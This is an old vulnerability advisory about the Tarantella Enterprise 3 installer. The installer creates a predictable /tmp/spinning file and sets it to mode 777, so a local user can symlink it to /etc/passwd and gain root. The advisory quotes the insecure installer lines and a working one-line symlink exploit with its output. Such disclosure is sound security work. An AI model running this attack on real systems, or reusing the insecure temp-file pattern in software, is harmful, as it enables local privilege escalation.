Title: Another local root during installation of Tarantella Enterprise 3
Author: Larry W. Cashdollar, @_larry0
Download Site: http://www.tarantella.com/download
Vendor Notified: 2002-01-14
Vendor Contact: unkown
Description: Tarantella, a supplier of Internet infrastructure software, has released Tarantella Enterprise 3, version 3.2, positioned as a managed, secure application access product that provides authorization, authentication, and accountability for enterprise systems. The software supplies integrated, managed, and secure access to server-based applications through a Web browser. This iteration of the Tarantella software focuses on security, performance, and network optimization while allowing fast and simple integration with existing corporate infrastructures.
During installation a "twirling / \ | - " text graphic is displayed (you remember them from the shareware games in DOS days..) they create a file in /tmp called spinning to determine at what state the installation is at. The files permissions are changed toread write excute for all, removed and recreated during different stages of the installation. It is vulnerabile to a simple symlink attack.
touch /tmp/spinning >/dev/null 2>&1
chmod 777 /tmp/spinning >/dev/null 2>&1 <----snip---->
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There is no race condition here, just create the link.
[lwc@misery] ln -s /etc/passwd /tmp/spinning
Wait until root is done installing...
[lwc@misery] ls -l /etc/passwd
- -rwxrwxrwx 1 root root 1094 Feb 18 22:39 /etc/passwd